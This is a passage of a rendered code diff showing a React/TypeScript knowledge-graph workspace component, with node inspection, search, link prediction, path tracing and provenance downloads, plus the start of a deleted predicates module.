color: fallbackColor,
|
||||
valid_from: node.valid_from ?? null,
|
||||
valid_until: node.valid_until ?? null,
|
||||
properties: node.properties ?? {},
|
||||
neighborCount,
|
||||
visibleNeighborCount: neighborCount,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: neighborCount > 8,
|
||||
};
|
||||
}
|
||||
|
||||
function TimelineFallback({ min, max }: TemporalBounds) {
|
||||
return (
|
||||
<div
|
||||
style={{
|
||||
width: "100%",
|
||||
height: "90px",
|
||||
borderTop: "1px solid rgba(88, 166, 255, 0.2)",
|
||||
background: "rgba(1, 4, 9, 0.88)",
|
||||
display: "flex",
|
||||
alignItems: "center",
|
||||
justifyContent: "space-between",
|
||||
padding: "0 18px",
|
||||
color: "#8fa8c6",
|
||||
fontSize: 12,
|
||||
flexShrink: 0,
|
||||
}}
|
||||
>
|
||||
<span>Temporal scrubber</span>
|
||||
<span>{min || max ? "Preparing timeline runtime..." : "Temporal bounds loading..."}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function NodePanel({
|
||||
node,
|
||||
predictions,
|
||||
predictionType,
|
||||
onPredictionTypeChange,
|
||||
onRunPredictions,
|
||||
pathTargetId,
|
||||
onPathTargetChange,
|
||||
onTracePath,
|
||||
pathResult,
|
||||
onDownloadProvenance,
|
||||
}: {
|
||||
node: GraphSelectedNodeState | null;
|
||||
predictions: LinkPrediction[];
|
||||
predictionType: string;
|
||||
onPredictionTypeChange: (value: string) => void;
|
||||
onRunPredictions: () => void;
|
||||
pathTargetId: string;
|
||||
onPathTargetChange: (value: string) => void;
|
||||
onTracePath: () => void;
|
||||
pathResult: PathResponse | null;
|
||||
onDownloadProvenance: (format: "json" | "markdown") => void;
|
||||
}) {
|
||||
if (!node) {
|
||||
return (
|
||||
<div style={{ padding: 32, textAlign: "center" }}>
|
||||
<p style={{ color: "#8b949e", fontSize: 14, margin: 0 }}>
|
||||
Search for a node or click one in the canvas to inspect its properties.
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const properties = node.properties ?? {};
|
||||
const attribution = sourceAttribution(properties);
|
||||
const accentColor = node.color || "#58a6ff";
|
||||
const propertyEntries = Object.entries(properties).filter(([key]) => !["x", "y", "valid_from", "valid_until", "content", "source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"].includes(key));
|
||||
|
||||
return (
|
||||
<aside style={{ padding: 24, display: "flex", flexDirection: "column", gap: 18 }}>
|
||||
<div style={{ borderBottom: "1px solid rgba(88, 166, 255, 0.14)", paddingBottom: 16 }}>
|
||||
<div style={{ display: "flex", alignItems: "center", gap: 10, marginBottom: 8 }}>
|
||||
<span style={{ background: accentColor, boxShadow: `0 0 10px ${accentColor}`, width: 8, height: 8, borderRadius: "50%" }} />
|
||||
<span style={{ color: accentColor, fontSize: 12, fontWeight: 800, textTransform: "uppercase", letterSpacing: "0.08em" }}>{node.nodeType || "Entity"}</span>
|
||||
</div>
|
||||
<h3 style={{ margin: 0, color: "#fff", fontSize: 24, lineHeight: 1, fontWeight: 800, letterSpacing: "-0.04em", wordBreak: "break-word" }}>{node.label}</h3>
|
||||
<div style={{ color: "#8b949e", fontSize: 12, marginTop: 8 }}>{node.id}</div>
|
||||
<div style={{ display: "flex", gap: 8, flexWrap: "wrap", marginTop: 12 }}>
|
||||
{node.valid_from || node.valid_until ? <span style={subtleChipStyle}>temporal</span> : null}
|
||||
<span style={subtleChipStyle}>{node.neighborCount} neighbors</span>
|
||||
{attribution.length ? <span style={subtleChipStyle}>{attribution.length} source fields</span> : null}
|
||||
{predictions.length ? <span style={subtleChipStyle}>{predictions.length} candidate links</span> : null}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<section style={sectionStyle}>
|
||||
<div style={sectionTitleStyle}>Actions</div>
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 10 }}>
|
||||
<button style={{ ...actionButtonStyle, width: "100%", justifyContent: "center" }} onClick={onRunPredictions}>Run Link Prediction</button>
|
||||
<div style={{ display: "flex", gap: 8, flexWrap: "wrap" }}>
|
||||
<button style={secondaryActionButtonStyle} onClick={() => onDownloadProvenance("json")}>Provenance JSON</button>
|
||||
<button style={secondaryActionButtonStyle} onClick={() => onDownloadProvenance("markdown")}>Provenance MD</button>
|
||||
</div>
|
||||
</div>
|
||||
<input value={predictionType} onChange={(event) => onPredictionTypeChange(event.target.value)} placeholder="Optional candidate type filter, e.g. disease" style={inputStyle} />
|
||||
</section>
|
||||
|
||||
<section style={sectionStyle}>
|
||||
<div style={sectionTitleStyle}>Trace Path</div>
|
||||
<input value={pathTargetId} onChange={(event) => onPathTargetChange(event.target.value)} placeholder="Target node ID" style={inputStyle} />
|
||||
<button style={actionButtonStyle} onClick={onTracePath}>Trace Causal Path</button>
|
||||
{pathResult?.path?.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 6, marginTop: 10 }}>
|
||||
{pathResult.path.map((step, index) => (
|
||||
<div key={`${step}-${index}`} style={pathStepStyle}>{index + 1}. {step}</div>
|
||||
))}
|
||||
<div style={{ color: "#79c0ff", fontSize: 12, marginTop: 4 }}>total weight: {pathResult.total_weight.toFixed(3)}</div>
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>Choose a target or click a candidate prediction to prepare a path trace.</div>
|
||||
)}
|
||||
</section>
|
||||
|
||||
<details style={collapseStyle} open={predictions.length > 0}>
|
||||
<summary style={summaryStyle}>Candidate Links</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{predictions.length > 0 ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{predictions.map((prediction) => (
|
||||
<button key={`${prediction.target}-${prediction.type}`} style={predictionCardStyle} onClick={() => onPathTargetChange(prediction.target)}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{prediction.label || prediction.target}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{prediction.type}</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, marginTop: 4 }}>confidence {prediction.score.toFixed(3)}</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>Run link prediction to surface likely next-hop relationships.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
|
||||
<details style={collapseStyle}>
|
||||
<summary style={summaryStyle}>Source Attribution</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{attribution.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{attribution.map(({ key, value }) => (
|
||||
<div key={key} style={propertyCardStyle}>
|
||||
<div style={{ color: "rgba(88, 166, 255, 0.7)", fontSize: 11, marginBottom: 4 }}>{key}</div>
|
||||
<div style={{ color: "#e6edf3", fontSize: 13, wordBreak: "break-word" }}>{typeof value === "object" ? JSON.stringify(value) : String(value)}</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>No explicit attribution metadata was found on this node.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
|
||||
<details style={collapseStyle}>
|
||||
<summary style={summaryStyle}>Properties</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{propertyEntries.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{propertyEntries.map(([key, value]) => (
|
||||
<div key={key} style={propertyCardStyle}>
|
||||
<div style={{ color: "rgba(88, 166, 255, 0.7)", fontSize: 11, marginBottom: 4 }}>{key}</div>
|
||||
<div style={{ color: "#e6edf3", fontSize: 13, wordBreak: "break-word" }}>{typeof value === "object" ? JSON.stringify(value) : String(value)}</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>No additional properties are attached to this node.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
</aside>
|
||||
);
|
||||
}
|
||||
|
||||
export function GraphWorkspaceShell() {
|
||||
const [selectedNodeId, setSelectedNodeId] = useState("");
|
||||
const [selectedNodeState, setSelectedNodeState] = useState<GraphSelectedNodeState | null>(null);
|
||||
const [isLayoutRunning, setIsLayoutRunning] = useState(false);
|
||||
const [viewMode, setViewMode] = useState<GraphViewMode>("full");
|
||||
const [searchQuery, setSearchQuery] = useState("");
|
||||
const [searchResults, setSearchResults] = useState<SearchResult[]>([]);
|
||||
const [searchError, setSearchError] = useState("");
|
||||
const [predictionType, setPredictionType] = useState("");
|
||||
const [predictions, setPredictions] = useState<LinkPrediction[]>([]);
|
||||
const [pathTargetId, setPathTargetId] = useState("");
|
||||
const [pathResult, setPathResult] = useState<PathResponse | null>(null);
|
||||
const [activeNodeCount, setActiveNodeCount] = useState<number | null>(null);
|
||||
const [temporalBounds, setTemporalBounds] = useState<TemporalBounds | null>(null);
|
||||
const [scrubberTime, setScrubberTime] = useState<Date | null>(null);
|
||||
const [loadingProgress, setLoadingProgress] = useState<GraphLoadProgress | null>(null);
|
||||
const [isGraphStageReady, setIsGraphStageReady] = useState(false);
|
||||
const [layoutStatus, setLayoutStatus] = useState<GraphLayoutStatus>({
|
||||
state: "idle",
|
||||
source: "runtime",
|
||||
hasCoordinates: false,
|
||||
layoutReady: false,
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
|
||||
const debouncedTime = useDebounce(scrubberTime, 150);
|
||||
const stageRef = useRef<GraphStageHandle>(null);
|
||||
const reload = useReloadGraphData();
|
||||
const { data: snapshot, isLoading, isFetching, isError, error } = useGraphData({ enabled: true, onProgress: setLoadingProgress });
|
||||
|
||||
const handleSelectedNodeStateChange = useCallback((state: GraphSelectedNodeState | null) => {
|
||||
setSelectedNodeState(state);
|
||||
}, []);
|
||||
|
||||
const handleLayoutRunningChange = useCallback((running: boolean) => {
|
||||
setIsLayoutRunning(running);
|
||||
}, []);
|
||||
|
||||
const handleActiveNodeCountChange = useCallback((count: number | null) => {
|
||||
setActiveNodeCount(count);
|
||||
}, []);
|
||||
|
||||
const handleProgressChange = useCallback((progress: GraphLoadProgress | null) => {
|
||||
setLoadingProgress(progress);
|
||||
}, []);
|
||||
|
||||
const handleRuntimeReady = useCallback(() => {
|
||||
setIsGraphStageReady(true);
|
||||
}, []);
|
||||
|
||||
const handleLayoutStatusChange = useCallback((status: GraphLayoutStatus) => {
|
||||
setLayoutStatus(status);
|
||||
if (status.layoutReady) {
|
||||
setLoadingProgress(null);
|
||||
}
|
||||
}, []);
|
||||
|
||||
const [prevFetchedAt, setPrevFetchedAt] = useState(snapshot?.fetchedAt);
|
||||
if (snapshot?.fetchedAt !== prevFetchedAt) {
|
||||
setPrevFetchedAt(snapshot?.fetchedAt);
|
||||
if (snapshot) {
|
||||
setIsGraphStageReady(false);
|
||||
setActiveNodeCount(null);
|
||||
setLayoutStatus({
|
||||
state: snapshot.summary.layoutReady ? "interactive" : "idle",
|
||||
source: snapshot.summary.layoutSource ?? "runtime",
|
||||
hasCoordinates: snapshot.summary.hasCoordinates ?? false,
|
||||
layoutReady: snapshot.summary.layoutReady ?? false,
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
const loadBounds = async () => {
|
||||
try {
|
||||
const response = await fetch("/api/temporal/bounds");
|
||||
if (!response.ok || cancelled) return;
|
||||
const data: TemporalBounds = await response.json();
|
||||
if (!cancelled) setTemporalBounds(data);
|
||||
} catch {
|
||||
if (!cancelled) setTemporalBounds(null);
|
||||
}
|
||||
};
|
||||
void loadBounds();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [snapshot?.summary.nodeCount, snapshot?.summary.edgeCount]);
|
||||
|
||||
const neighborCountMap = useMemo(() => {
|
||||
const map = new Map<string, number>();
|
||||
if (!snapshot) return map;
|
||||
for (const node of snapshot.nodes) map.set(node.id, 0);
|
||||
for (const edge of snapshot.edges) {
|
||||
map.set(edge.source, (map.get(edge.source) ?? 0) + 1);
|
||||
map.set(edge.target, (map.get(edge.target) ?? 0) + 1);
|
||||
}
|
||||
return map;
|
||||
}, [snapshot]);
|
||||
|
||||
const visibleSelectedNode = useMemo(() => {
|
||||
if (!selectedNodeId) return null;
|
||||
if (selectedNodeState?.id === selectedNodeId) return selectedNodeState;
|
||||
const snapshotNode = snapshot?.nodes.find((candidate) => candidate.id === selectedNodeId);
|
||||
if (snapshotNode) return toSelectedNodeState(snapshotNode, neighborCountMap.get(snapshotNode.id) ?? 0);
|
||||
const searchNode = searchResults.find((candidate) => candidate.node.id === selectedNodeId)?.node;
|
||||
return searchNode
|
||||
? {
|
||||
id: searchNode.id,
|
||||
label: searchNode.content || searchNode.id,
|
||||
content: searchNode.content || searchNode.id,
|
||||
nodeType: searchNode.type,
|
||||
color: "#58a6ff",
|
||||
valid_from: null,
|
||||
valid_until: null,
|
||||
properties: searchNode.properties ?? {},
|
||||
neighborCount: 0,
|
||||
visibleNeighborCount: 0,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: false,
|
||||
}
|
||||
: null;
|
||||
}, [neighborCountMap, searchResults, selectedNodeId, selectedNodeState, snapshot]);
|
||||
|
||||
const focusNode = useCallback((nodeId: string) => {
|
||||
setSelectedNodeId(nodeId);
|
||||
setPathResult(null);
|
||||
|
||||
if (!nodeId) {
|
||||
setSelectedNodeState(null);
|
||||
setPredictions([]);
|
||||
return;
|
||||
}
|
||||
|
||||
setSearchResults([]);
|
||||
setIsLayoutRunning(false);
|
||||
}, []);
|
||||
|
||||
const handleSearch = useCallback(async () => {
|
||||
if (!searchQuery.trim()) {
|
||||
setSearchResults([]);
|
||||
return;
|
||||
}
|
||||
|
||||
setSearchError("");
|
||||
try {
|
||||
const response = await fetch("/api/graph/search", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ query: searchQuery, limit: 8 }),
|
||||
});
|
||||
if (!response.ok) {
|
||||
throw new Error(`Search failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data = await response.json();
|
||||
setSearchResults(data.results || []);
|
||||
if (data.results?.length) {
|
||||
focusNode(data.results[0].node.id);
|
||||
}
|
||||
} catch (searchFetchError) {
|
||||
setSearchError(searchFetchError instanceof Error ? searchFetchError.message : "Search failed");
|
||||
}
|
||||
}, [focusNode, searchQuery]);
|
||||
|
||||
const handleRunPredictions = useCallback(async () => {
|
||||
if (!selectedNodeId) return;
|
||||
|
||||
try {
|
||||
const response = await fetch("/api/enrich/links", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({
|
||||
node_id: selectedNodeId,
|
||||
top_n: 6,
|
||||
candidate_type: predictionType || undefined,
|
||||
min_score: 0,
|
||||
}),
|
||||
});
|
||||
if (!response.ok) {
|
||||
throw new Error(`Link prediction failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data = await response.json();
|
||||
setPredictions(data.predictions || []);
|
||||
} catch (predictionError) {
|
||||
console.error("[GraphWorkspaceShell] prediction failed", predictionError);
|
||||
setPredictions([]);
|
||||
}
|
||||
}, [predictionType, selectedNodeId]);
|
||||
|
||||
const handleTracePath = useCallback(async () => {
|
||||
if (!selectedNodeId || !pathTargetId.trim()) return;
|
||||
|
||||
try {
|
||||
const pathParams = new URLSearchParams({
|
||||
source: selectedNodeId,
|
||||
target: pathTargetId.trim(),
|
||||
algorithm: "dijkstra",
|
||||
});
|
||||
const response = await fetch(
|
||||
`/api/graph/path?${pathParams.toString()}`,
|
||||
);
|
||||
if (!response.ok) {
|
||||
throw new Error(`Path lookup failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data: PathResponse = await response.json();
|
||||
setPathResult(data);
|
||||
if (data.path?.length) {
|
||||
const lastStep = data.path[data.path.length - 1];
|
||||
stageRef.current?.focusNode(lastStep);
|
||||
}
|
||||
} catch (pathError) {
|
||||
console.error("[GraphWorkspaceShell] path trace failed", pathError);
|
||||
setPathResult(null);
|
||||
}
|
||||
}, [pathTargetId, selectedNodeId]);
|
||||
|
||||
const handleDownloadProvenance = useCallback(async (format: "json" | "markdown") => {
|
||||
if (!selectedNodeId) return;
|
||||
|
||||
const suffix = format === "markdown" ? "markdown" : "json";
|
||||
const response = await fetch(`/api/provenance/report?node_id=${encodeURIComponent(selectedNodeId)}&format=${suffix}`);
|
||||
if (!response.ok) {
|
||||
throw new Error(`Provenance report failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const blob = await response.blob();
|
||||
const url = window.URL.createObjectURL(blob);
|
||||
const anchor = document.createElement("a");
|
||||
anchor.href = url;
|
||||
anchor.download = `${selectedNodeId}_provenance.${format === "markdown" ? "md" : "json"}`;
|
||||
document.body.appendChild(anchor);
|
||||
anchor.click();
|
||||
window.URL.revokeObjectURL(url);
|
||||
document.body.removeChild(anchor);
|
||||
}, [selectedNodeId]);
|
||||
|
||||
const searchSummary = useMemo(() => {
|
||||
if (!searchResults.length) return null;
|
||||
return `${searchResults.length} search result${searchResults.length === 1 ? "" : "s"}`;
|
||||
}, [searchResults.length]);
|
||||
|
||||
const focusedSummary = useMemo(() => {
|
||||
if (!visibleSelectedNode) return null;
|
||||
if (viewMode === "focused") {
|
||||
const visibleNeighbors = Math.min(visibleSelectedNode.neighborCount, 16);
|
||||
return `${visibleNeighbors + 1} nodes in focused view`;
|
||||
}
|
||||
return `${visibleSelectedNode.neighborCount} direct neighbors highlighted`;
|
||||
}, [viewMode, visibleSelectedNode]);
|
||||
|
||||
const requestViewMode = useCallback((nextViewMode: GraphViewMode) => {
|
||||
if (nextViewMode === "focused") {
|
||||
if (!selectedNodeId) {
|
||||
return;
|
||||
}
|
||||
setViewMode("focused");
|
||||
setIsLayoutRunning(false);
|
||||
return;
|
||||
}
|
||||
|
||||
setViewMode("full");
|
||||
}, [selectedNodeId]);
|
||||
|
||||
const showLoadingOverlay =
|
||||
isLoading
|
||||
|| isFetching
|
||||
|| !isGraphStageReady
|
||||
|| (layoutStatus.source === "runtime" && !layoutStatus.layoutReady && !selectedNodeId && viewMode === "full");
|
||||
|
||||
const layoutStatusLabel = useMemo(() => {
|
||||
if (layoutStatus.source === "provided" && layoutStatus.layoutReady) return "Persisted layout";
|
||||
if (layoutStatus.source === "carried" && layoutStatus.layoutReady) return "Preserved layout";
|
||||
if (layoutStatus.state === "bootstrapping") return "Bootstrapping layout";
|
||||
if (layoutStatus.state === "running") return "Stabilizing layout";
|
||||
if (layoutStatus.state === "failed") return "Layout timeout fallback";
|
||||
return null;
|
||||
}, [layoutStatus]);
|
||||
|
||||
return (
|
||||
<div className="palantir-bg" style={{ position: "relative", width: "100%", height: "100%", overflow: "hidden", display: "flex", flexDirection: "column" }}>
|
||||
<style>{HUD_CSS}</style>
|
||||
<div className="palantir-grid" />
|
||||
<div className="palantir-vignette" />
|
||||
|
||||
<div style={{ flex: 1, position: "relative", zIndex: 3, minHeight: 0 }}>
|
||||
<Suspense fallback={null}>
|
||||
<GraphRuntimeStage
|
||||
ref={stageRef}
|
||||
snapshot={snapshot}
|
||||
selectedNodeId={selectedNodeId}
|
||||
activePath={pathResult?.path ?? []}
|
||||
onNodeSelect={focusNode}
|
||||
onSelectedNodeStateChange={handleSelectedNodeStateChange}
|
||||
isLayoutRunning={isLayoutRunning}
|
||||
onLayoutRunningChange={handleLayoutRunningChange}
|
||||
viewMode={viewMode}
|
||||
temporalTime={debouncedTime}
|
||||
onActiveNodeCountChange={handleActiveNodeCountChange}
|
||||
onProgressChange={handleProgressChange}
|
||||
onLayoutStatusChange={handleLayoutStatusChange}
|
||||
onRuntimeReady={handleRuntimeReady}
|
||||
/>
|
||||
</Suspense>
|
||||
<GraphLoadingOverlay
|
||||
progress={loadingProgress}
|
||||
visible={showLoadingOverlay}
|
||||
showGraphBehind={Boolean(loadingProgress?.showGraphBehind || isGraphStageReady)}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<Suspense fallback={<TimelineFallback min={temporalBounds?.min ?? null} max={temporalBounds?.max ?? null} />}>
|
||||
<TimelinePanel
|
||||
onTimeChange={setScrubberTime}
|
||||
minDate={temporalBounds?.min ?? undefined}
|
||||
maxDate={temporalBounds?.max ?? undefined}
|
||||
/>
|
||||
</Suspense>
|
||||
|
||||
<div style={{ position: "absolute", inset: 0, pointerEvents: "none", zIndex: 10 }}>
|
||||
<div className="graph-shell-top">
|
||||
<section className="graph-status-card">
|
||||
<div className="graph-status-label">Graph Studio</div>
|
||||
<div className="graph-status-title">{visibleSelectedNode ? visibleSelectedNode.label : "Knowledge Explorer"}</div>
|
||||
<div className="graph-status-metrics">
|
||||
{showLoadingOverlay && loadingProgress ? <span style={{ ...metricPillStyle, color: "#a9ddff" }}>{getGraphLoadTitle(loadingProgress.phase)}</span> : null}
|
||||
{layoutStatusLabel ? <span style={{ ...metricPillStyle, color: "#a9ddff" }}>{layoutStatusLabel}</span> : null}
|
||||
{snapshot ? <span style={metricPillStyle}>{snapshot.summary.nodeCount.toLocaleString()} nodes · {snapshot.summary.edgeCount.toLocaleString()} edges</span> : null}
|
||||
{activeNodeCount !== null ? <span style={{ ...metricPillStyle, color: "#4fd49c", borderColor: "rgba(79, 212, 156, 0.22)" }}>{activeNodeCount.toLocaleString()} active</span> : null}
|
||||
{searchSummary ? <span style={metricPillStyle}>{searchSummary}</span> : null}
|
||||
{focusedSummary ? <span style={{ ...metricPillStyle, color: "#f2b66d", borderColor: "rgba(242, 182, 109, 0.24)" }}>{focusedSummary}</span> : null}
|
||||
{isError ? <span style={{ ...metricPillStyle, color: "#ff8f85", borderColor: "rgba(255, 123, 114, 0.22)" }}>{(error as Error).message}</span> : null}
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section className="graph-command-card">
|
||||
<div className="graph-command-row">
|
||||
<div className="graph-toggle-cluster">
|
||||
{selectedNodeId ? (
|
||||
<>
|
||||
<button onClick={() => requestViewMode("focused")} style={{ ...actionButtonStyle, background: viewMode === "focused" ? "rgba(31, 111, 235, 0.38)" : actionButtonStyle.background, borderColor: viewMode === "focused" ? "rgba(127, 208, 255, 0.42)" : "rgba(88, 166, 255, 0.2)" }}>Focused View</button>
|
||||
<button onClick={() => requestViewMode("full")} style={{ ...actionButtonStyle, background: viewMode === "full" ? "rgba(31, 111, 235, 0.38)" : actionButtonStyle.background, borderColor: viewMode === "full" ? "rgba(127, 208, 255, 0.42)" : "rgba(88, 166, 255, 0.2)" }}>Full Graph</button>
|
||||
</>
|
||||
) : (
|
||||
<span style={{ color: "#7f95b3", fontSize: 12 }}>Select a node to switch graph views</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="graph-action-cluster">
|
||||
<button onClick={() => setIsLayoutRunning((value) => !value)} style={secondaryActionButtonStyle} disabled={isLoading || isFetching}>
|
||||
{isLayoutRunning ? "Pause Layout" : "Run Layout"}
|
||||
</button>
|
||||
<button onClick={() => { setIsGraphStageReady(false); reload(); }} style={secondaryActionButtonStyle} disabled={isLoading || isFetching}>
|
||||
Reload
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="graph-command-row">
|
||||
<div className="graph-search-shell">
|
||||
<input
|
||||
value={searchQuery}
|
||||
onChange={(event) => setSearchQuery(event.target.value)}
|
||||
onKeyDown={(event) => {
|
||||
if (event.key === "Enter") {
|
||||
void handleSearch();
|
||||
}
|
||||
}}
|
||||
placeholder="Search a node, e.g. Metformin"
|
||||
style={{ ...inputStyle, minWidth: 260 }}
|
||||
disabled={showLoadingOverlay && !selectedNodeId}
|
||||
/>
|
||||
<button onClick={() => void handleSearch()} style={actionButtonStyle} disabled={showLoadingOverlay && !selectedNodeId}>Search</button>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
{searchError ? <div style={{ position: "absolute", top: 144, right: 34, color: "#ff7b72", fontSize: 12, pointerEvents: "auto" }}>{searchError}</div> : null}
|
||||
{searchResults.length ? (
|
||||
<div className="graph-search-results hud-scrollbar">
|
||||
<div className="graph-search-results-label">Search Results</div>
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} className="graph-search-result-card" onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ color: "#fff", fontWeight: 700 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, marginTop: 4 }}>score {result.score.toFixed(3)}</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
) : null}
|
||||
|
||||
<div className="graph-inspector hud-scrollbar" data-open={selectedNodeId ? "true" : "false"}>
|
||||
<NodePanel
|
||||
node={visibleSelectedNode}
|
||||
predictions={predictions}
|
||||
predictionType={predictionType}
|
||||
onPredictionTypeChange={setPredictionType}
|
||||
onRunPredictions={() => void handleRunPredictions()}
|
||||
pathTargetId={pathTargetId}
|
||||
onPathTargetChange={setPathTargetId}
|
||||
onTracePath={() => void handleTracePath()}
|
||||
pathResult={pathResult}
|
||||
onDownloadProvenance={(format) => void handleDownloadProvenance(format)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const metricPillStyle: CSSProperties = {
|
||||
background: "rgba(88, 166, 255, 0.08)",
|
||||
color: "#8ed3ff",
|
||||
padding: "6px 11px",
|
||||
borderRadius: 999,
|
||||
fontSize: 12,
|
||||
fontWeight: 700,
|
||||
border: "1px solid rgba(88, 166, 255, 0.14)",
|
||||
};
|
||||
|
||||
const sectionStyle: CSSProperties = {
|
||||
display: "flex",
|
||||
flexDirection: "column",
|
||||
gap: 10,
|
||||
padding: 14,
|
||||
background: "linear-gradient(180deg, rgba(255,255,255,0.025), rgba(255,255,255,0.01))",
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
borderRadius: 16,
|
||||
};
|
||||
|
||||
const sectionTitleStyle: CSSProperties = {
|
||||
color: "#8fa8c6",
|
||||
fontSize: 11,
|
||||
fontWeight: 800,
|
||||
textTransform: "uppercase",
|
||||
letterSpacing: "0.08em",
|
||||
};
|
||||
|
||||
const inputStyle: CSSProperties = {
|
||||
width: "100%",
|
||||
background: "rgba(0, 0, 0, 0.24)",
|
||||
border: "1px solid rgba(88, 166, 255, 0.14)",
|
||||
color: "#fff",
|
||||
borderRadius: 12,
|
||||
padding: "10px 12px",
|
||||
fontSize: 13,
|
||||
};
|
||||
|
||||
const actionButtonStyle: CSSProperties = {
|
||||
background: "linear-gradient(180deg, rgba(53, 130, 245, 0.28), rgba(25, 88, 185, 0.18))",
|
||||
color: "#fff",
|
||||
border: "1px solid rgba(88, 166, 255, 0.2)",
|
||||
borderRadius: 12,
|
||||
padding: "10px 13px",
|
||||
cursor: "pointer",
|
||||
fontWeight: 700,
|
||||
fontSize: 12,
|
||||
display: "inline-flex",
|
||||
alignItems: "center",
|
||||
justifyContent: "center",
|
||||
boxShadow: "inset 0 1px 0 rgba(255,255,255,0.05)",
|
||||
};
|
||||
|
||||
const secondaryActionButtonStyle: CSSProperties = {
|
||||
...actionButtonStyle,
|
||||
background: "rgba(255, 255, 255, 0.035)",
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
color: "#d6e5f8",
|
||||
fontWeight: 500,
|
||||
};
|
||||
|
||||
const predictionCardStyle: CSSProperties = {
|
||||
textAlign: "left",
|
||||
padding: 12,
|
||||
background: "rgba(88, 166, 255, 0.06)",
|
||||
border: "1px solid rgba(88, 166, 255, 0.1)",
|
||||
borderRadius: 14,
|
||||
cursor: "pointer",
|
||||
};
|
||||
|
||||
const pathStepStyle: CSSProperties = {
|
||||
color: "#e6edf3",
|
||||
fontSize: 13,
|
||||
padding: "8px 10px",
|
||||
background: "rgba(255, 255, 255, 0.03)",
|
||||
borderRadius: 8,
|
||||
};
|
||||
|
||||
const propertyCardStyle: CSSProperties = {
|
||||
background: "rgba(0, 0, 0, 0.18)",
|
||||
padding: "10px 12px",
|
||||
borderRadius: 12,
|
||||
border: "1px solid rgba(255, 255, 255, 0.05)",
|
||||
};
|
||||
|
||||
const emptyTextStyle: CSSProperties = {
|
||||
color: "#8b949e",
|
||||
fontSize: 12,
|
||||
lineHeight: 1.5,
|
||||
};
|
||||
|
||||
const subtleChipStyle: CSSProperties = {
|
||||
background: "rgba(255, 255, 255, 0.035)",
|
||||
color: "#9fb6d2",
|
||||
padding: "5px 9px",
|
||||
borderRadius: 999,
|
||||
fontSize: 11,
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
};
|
||||
|
||||
const collapseStyle: CSSProperties = {
|
||||
border: "1px solid rgba(255, 255, 255, 0.05)",
|
||||
borderRadius: 14,
|
||||
background: "rgba(0, 0, 0, 0.14)",
|
||||
overflow: "hidden",
|
||||
};
|
||||
|
||||
const summaryStyle: CSSProperties = {
|
||||
cursor: "pointer",
|
||||
listStyle: "none",
|
||||
padding: "12px 14px",
|
||||
color: "#c6d4e3",
|
||||
fontSize: 12,
|
||||
fontWeight: 700,
|
||||
letterSpacing: "0.04em",
|
||||
textTransform: "uppercase",
|
||||
};
|
||||
@@ -1,24 +0,0 @@
|
||||
/**
|
||||
* shouldLoad predicates for the GraphWorkspace lazy plugin registry.
|
||||
*
|
||||
* Extracted into a pure module so the predicates can be unit-tested without
|
||||
* importing the full GraphWorkspace React component. Each predicate gates
|
||||
